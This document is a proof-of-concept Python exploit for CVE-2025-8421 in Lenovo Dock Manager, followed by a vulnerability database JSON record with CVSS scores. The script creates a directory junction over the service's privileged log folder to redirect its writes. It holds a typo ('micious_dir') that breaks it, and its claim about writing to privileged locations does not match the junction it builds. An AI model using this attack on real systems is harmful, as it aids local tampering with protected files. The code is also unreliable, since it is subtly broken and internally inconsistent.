CVE-2025-8421

# CVE-2025-8421 PoC - Lenovo Dock Manager Log File Redirection # This PoC demonstrates the log file redirection vulnerability import os import sys import subprocess import time def create_symlink_junction(target_path, link_path): """Create a directory junction for log redirection""" try: if os.path.exists(link_path): os.rmdir(link_path) # Use mklink /J for directory junction subprocess.run(['cmd.exe', '/c', 'mklink', '/J', link_path, target_path], check=True, capture_output=True) print(f"[+] Created junction: {link_path} -> {target_path}") return True except Exception as e: print(f"[-] Failed to create junction: {e}") return False def check_dock_manager_installed(): """Check if Lenovo Dock Manager is installed""" install_paths = [ r'C:\Program Files\Lenovo\Dock Manager\DockManager.exe', r'C:\Program Files (x86)\Lenovo\Dock Manager\DockManager.exe' ] for path in install_paths: if os.path.exists(path): return True return False def main(): print("CVE-2025-8421 - Lenovo Dock Manager Log File Redirection PoC") print("=" * 60) if not check_dock_manager_installed(): print("[-] Lenovo Dock Manager not found on this system") return # Target paths for log redirection target_dir = r'C:\Windows\System32\config\systemprofile\AppData\Local\Lenovo\DockManager\Logs' malicious_dir = r'C:\Windows\Temp\malicious_logs' # Create malicious directory os.makedirs(malicious_dir, exist_ok=True) # Create junction to redirect logs if create_symlink_junction(micious_dir, target_dir): print("[+] Junction created successfully") print(f"[+] Any log files written by Dock Manager will be redirected to: {malicious_dir}") print("[+] This could allow writing to privileged locations") else: print("[-] Exploitation requires administrator privileges for junction creation") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-8421", "sourceIdentifier": "[email protected]", "published": "2025-11-12T20:15:45.430", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An improper default permission vulnerability was reported in Lenovo Dock Manager that, under certain conditions during installation, could allow an authenticated local user to redirect log files with elevated privileges."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H", "baseScore": 6.6, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.3, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-276"}]}], "references": [{"url": "https://support.lenovo.com/us/en/product_security/LEN-198729", "source": "[email protected]"}]}}